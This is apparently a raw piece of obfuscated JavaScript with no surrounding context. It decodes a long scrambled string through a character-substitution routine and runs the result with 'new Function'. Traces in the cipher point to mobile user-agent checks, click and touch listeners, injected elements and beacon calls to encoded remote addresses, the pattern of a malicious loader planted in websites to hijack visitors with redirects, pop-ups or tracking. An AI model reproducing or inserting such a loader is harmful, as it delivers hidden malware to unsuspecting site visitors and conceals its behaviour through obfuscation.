F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q/CL/o}0jR8C{}YQJ6o1("a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"o}0"=^8"C{}YQJ6o1("!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"o}0^)ThF)m7}F:Ch2mRT4"="o}0X5ThF)mX(nSnY0mRT4"="o}02pThFm7}F:Ch2mRT4"="o}0_JqhFmX(nSnY0mRT4"="o}02TOhFm7}F:Ch2mRT4"="o}0CSqhF)mX(nSnY0mRT4"="o}0)FfThF)fm7}F:Ch2mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m}5TJ:S0mRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m}5TJ:S0mRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q/f/o}0j(8}vR8C{}YQJ6o1("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();